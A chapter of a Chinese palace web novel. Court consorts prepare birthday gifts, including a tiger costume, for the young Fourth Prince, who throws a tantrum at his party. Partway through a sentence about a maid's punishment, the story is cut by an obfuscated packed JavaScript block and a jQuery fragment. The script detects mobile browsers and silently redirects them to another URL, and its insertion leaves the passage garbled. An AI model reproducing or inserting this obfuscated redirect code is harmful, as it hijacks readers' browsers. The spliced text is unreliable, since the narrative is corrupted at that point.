已经是十月初,虽然还没真正到年底,可是宫里的气氛已经开始热闹了。
    先不说一个月之后的冬至,这会儿它叫天令节,其重要程度是跟春节和万寿节,也就是皇帝生辰的节日并列的,可见时人对其的重视。
    像杜嘉和布贵人这种提前一个月制新衣为过节做准备的,都已经是因囊中羞涩而较晚的了。
    之后则还有相当于满人国庆的颁金节,以及最重要的春节。
    在天令节之前虽没什么重要节日,可是这天飞喜就提醒她,马上要到承乾宫小阿哥,也就是四阿哥的生辰了。
    虽然后世提起他一般就是那两个标签,九龙夺嫡,加爹不疼娘不爱,仿佛他的皇子生涯格外落魄。
    但是在此时的宫廷之中,这位小主子可算得上是炙手可热了。
    他的生母乌雅氏德妃刚晋了妃位。
    而他的养母,承乾宫之主的皇贵妃佟佳氏,则更不必说,作为皇帝的表妹,在如今后宫没有皇后的情况下,她是当之无愧的后宫之主。
    在此种情况之下,宫里的皇子们之中,也只有元后赫舍里氏所出的太子,以及惠妃所出,自幼养在宫外,年至七岁才回宫的保清阿哥不逊于他了。
    但太子地位本就超然;而保清阿哥已经十一岁了,是宫中唯一一个算是立住了,开始进学,并且展现出不错能力的孩子,皇帝自然会多关注几分。
    但如今的四阿哥还是个才两岁的小孩,之所以能获得如此多的宠爱与重视,也只能归功于他的两位尊贵的额娘了。
    也是因此,他的生辰在宫里也算得上是一件大事。
    各宫的嫔妃少不得都要精心准备贺礼,以表示母妃们对这位小阿哥的慈爱。
    去年这时候原主也送过东西,只是原主这里原先没记过账本,只有飞喜隐约记得,原主似乎和大部分人一样送了一枚银制的长命锁。
    这倒是一种吉祥又不会轻易出错的贺礼。
    飞喜道:“安嫔主子要送金制长命锁一枚,金喜字小如意一对,红缎金绣荷包一对。布贵人是二两重的银制长命锁一枚,特地让内务府做了五毒虎纹的样式,还亲自绣了一只虎头帽,一双虎头鞋。主子只跟布贵人差不多便是了,五毒纹的荷包我那里也有的。”
    别看杜嘉跟安嫔和布贵人关系都不好,她们身边的大宫女也受了影响,不常来往,但再往下的小宫女们却是不忌讳这些个的。
    杜嘉这边零嘴儿多,时不时给福儿赏下去的糖啊栗子榛子什么的,她吃不完,就分享给了和自己一样的小宫女。
    这时候的糖是跟油水一样的稀罕物,底层的小宫女逢年过节才能尝一口甜甜嘴儿,这么十来二十天下来,哄得那些小宫女们什么都愿意跟福儿说了。
    这些消息就是福儿从小宫女们那儿打听来的,毕竟主子有什么事情她们都是跟着跑腿,要知道这些就很简单了。
    安嫔的贺礼不必说,她财大气粗,金子的分量摆在那儿,就足够表现心意了。
    而布贵人的礼也算是投其所好,一是都是吉祥寓意好的东西,二就是宫里人人也都知道小阿哥对老虎情有独钟,惹得内务府近来给皇子皇女们的东西上多少也都带着虎,估计就是给四阿哥做得多了,也顺手了。
    上次老太监给的那个布偶,不就原本是做给四阿哥的,只不过最后被剔下来了而已。
    杜嘉点头道:“那咱们也送个二两重的长命锁好了,上头的图案我再想想,再就另做一件虎皮衣,一对儿荷包,这样也就满了三件。”
    飞喜倒不惊讶她擅绘画,毕竟先前想衣服样子的时候,杜嘉就已经展示过了。
    她不能理解的是第二件贺礼:“虎皮衣?可咱们翻出来那些皮货里头也没有虎皮啊。”
    杜嘉就知道她是误会了,她不是真的想用虎皮做出一件衣裳来,而是打算做成带兜帽的老虎玩偶服。
    玩偶服的样子对杜嘉来说没什么难度,她一面对飞喜讲解,一面把效果图给画好了。
    头上就是一个普通的帽子,只是脑袋左右两边要各加一对儿毛茸茸的虎耳,身体的部分也好做,四爪雪白,爪心是粉嫩的,最后缀一条虎尾。
    虎皮衣按着孩子的尺寸来,哪怕用上了真貂皮,最后也费不了多少功夫和料子,
    飞喜瞧着是很喜欢这种样式的,主动揽下了这桩差事不说,还提议要给自家的小阿哥也做一身。
    杜嘉回想了下,记起小阿哥是属猴的,那么做一件猴子玩偶服也不错。
    只是她这里多的皮子大部分都是黑色或者杂色了,黑色的老虎听起来还是威风凛凛,可黑色的猴子似乎就不大可爱了。
    再者小阿哥身上要穿束带,玩偶服做了估计也穿不了,毕竟要爬着玩的时候才好玩。
    杜嘉便道:“先给小阿哥做个猴子的玩偶吧,衣裳等以后他腿好了再做。”
    飞喜听到这里,小心翼翼看了眼她的表情,心里也在期待着小阿哥腿能治好的那一天。
    就算不说其他的,小阿哥现在不光腿上难受,还会因为身上的护带穿久了而磨皮肤,这样的罪时间一长,就连大人也受不住,何况是那么点儿的孩子呢。
    孩子的身体本就虚弱,要是继续这样下去,她不敢想时间长了会怎么样。
    四阿哥生辰这天,杜嘉就在早膳的时候吃到了做成虎头模样的花样馒头,做得活灵活现。
    就连要的面片汤里面的面片,也都是虎头形状的,一看就是模具里出来的,是酸辣口味的,配着各样蘸菜,大早上吃着虽然口味重了些,但是非常开胃。
    飞喜闻着呛鼻子,留了福儿在身侧侍膳,自己则出去把窗户开了个小缝通风。
    杜嘉吃完,才听杨凤池说这是膳房那边为了省事儿,干脆制了一批各种老虎样子的模具,这两天都用这个。
    尤其是今天,他们一整天都要先紧着承乾宫那边的小宴。
    ——皇贵妃以四阿哥年幼为由,只打算关门在自家宫里办场小宴,邀请的不是关系尚好的嫔妃,便是宫外的亲眷们。
    而膳房之所以敢这么明晃晃敷衍,也是有原因的,据说是前几天有几碟子膳错送去了御前,有一个菜用的还是虎头的碟子,皇上瞧了非但没生气,反而笑呵呵用了,还故意将虎头碟子点名赏给承乾宫阿哥。
    膳房的人一看,可不就胆子大了吗?
    对此,杜嘉倒没什么介意的,不管食物做成什么样子,味道总还是和原来一样的。
    顶多是虎头馒头做得太逼真,乍一眼看去有些惊悚。
    前院侧殿,布贵人正和五格格一起用膳。
    五格格头戴一个半旧虎头帽,看着碟子里一摞虎头饽饽高兴道:“额娘,看老虎!”
    她正好是属虎的,觉得这大概是在额娘这里用膳的惊喜,还央了布贵人把她许久之前的虎头帽翻出来,戴在了头上。
    布贵人温柔地看着她,微微一笑。
    正殿,安嫔连日来心情都不虞,今日没被承乾宫邀请,自觉失了好大的脸面,瞧着一碟子的老虎脑袋,更是来气,早膳不光没用几口,身边的侍女还“失手”摔碎了好些个碗筷杯碟。
    因着摔碎的东西多,大嬷嬷就看着打了那失手的宫女五十下手板
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614355|187678||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    ,罚一天的饭,再让人去内务府报了损,领回新的碗筷来。
    那宫女心里自然是很不服气,回过头就把这事儿与小姐妹们说了,一时间就连福儿也听说了。
    据说这样的事情在安嫔那里,光今年下半年,少说也有三五次了,宫女们都有些怨声载道的,只是没人敢说罢了。
    此时的承乾宫中,戏台子已经在院里搭好了,桌席摆的倒不算多,只在正殿和两侧前院的偏殿,来者不是近支宗室的福晋们,便是佟家的亲眷。
    然而作为主人公的四阿哥,却不知怎么闹起了脾气,无论如何不肯配合宫人们穿衣。
    宫人先去前殿禀告了此事,皇贵妃正与娘家嫂子们说话,闻言,女眷们都一副理解的样子。
    她们进宫机会多,从前就见过几次四阿哥,知道这么点儿大小的孩子确实容易闹腾,请皇贵妃先去看望阿哥。
    偏殿内,比起佟家,德妃娘家就没来多少人了,女眷也只来了德妃的额娘和妹妹。
    德妃心里免不了失落。
    小阿哥长在承乾宫,不能日日相见,而今日生辰,佟家人来了不少,可自己娘家人却多上不得台面,她如何会真的不在意。
    面对家人的宽慰,德妃笑着道:“你们能来就是极好的了,说起来,过会儿我叫人把小阿哥抱过来吧,这会儿他有精神。说来这还是小阿哥出生后第二回见他的外祖母和姑母呢。”
    说着,德妃便唤了贴身宫女进来,这会儿才得知小阿哥闹起了脾气,于是匆匆赶去后殿。
    德妃赶到的时候,皇贵妃已经问明了四阿哥为什么哭闹。
    说来也很简单,小孩子都爱吃甜食,特别是果房那边为了讨好小阿哥,让人做了一种加了甜橙和青梅还有蜂蜜以及各类坚果的糖糕出来。
    小阿哥吃了便喜欢得不得了,每天都要拿一块来啃着吃。
    才吃没几日,小方脉的太医来的时候就提了一句,说小阿哥的牙长得比常人慢些,甜食不可多用。
    今天伺候的人就没敢叫他吃了。
    皇贵妃叫来那日在场的乳母,问道:“太医可详细说过能吃多少么?”
    她的语气已然有些松动了,主要是看着小阿哥哭得脸都红了,脖子一抽一抽的,显然是哭狠了。
    加上这日是他的生辰,便是稍微放纵一二也不算什么,大不了明天起再少让他吃。
    德妃看小阿哥哭成这样,上前摸着他的背给他顺气,又劝皇贵妃:“总不好一直顺着他,就该让他知道这些无理的事情,是不能用哭闹来解决的。”
    皇贵妃却道:“他到底小着呢,这些道理,等他稍长些就会知道的。”
    她不是不知道这样是惯着小阿哥,只是能惯着他的时候也就这几年,等再大些开了蒙,六岁再进上书房,到时候就全是起早贪黑地苦日子了。
    皇贵妃想到表哥给孩子们制定的满满当当的学习计划,顿时觉得怜悯不已。
    等到他知道了哭闹就能要来一切想要的东西,到时候再纠正过来可就难了。
    德妃心里这么想着,但知道自己不好再说了。
    也是这个时候,负责清点各宫给小阿哥赏赐的宫人发现了什么。
    “虎皮衣?”
    皇贵妃起先并没有放在心上,这样的东西承乾宫也有,只是小阿哥对老虎布偶喜欢极了,对着真正的虎皮却并不感兴趣。
    捧着百宝嵌盒来的宫人笑道:“我摸着倒不像是虎皮,像是貂皮做得,料子一般,只是上头两只耳朵做得很真,屁股后头还拖着长尾巴呢,想来小阿哥穿上倒像只真的小老虎了。”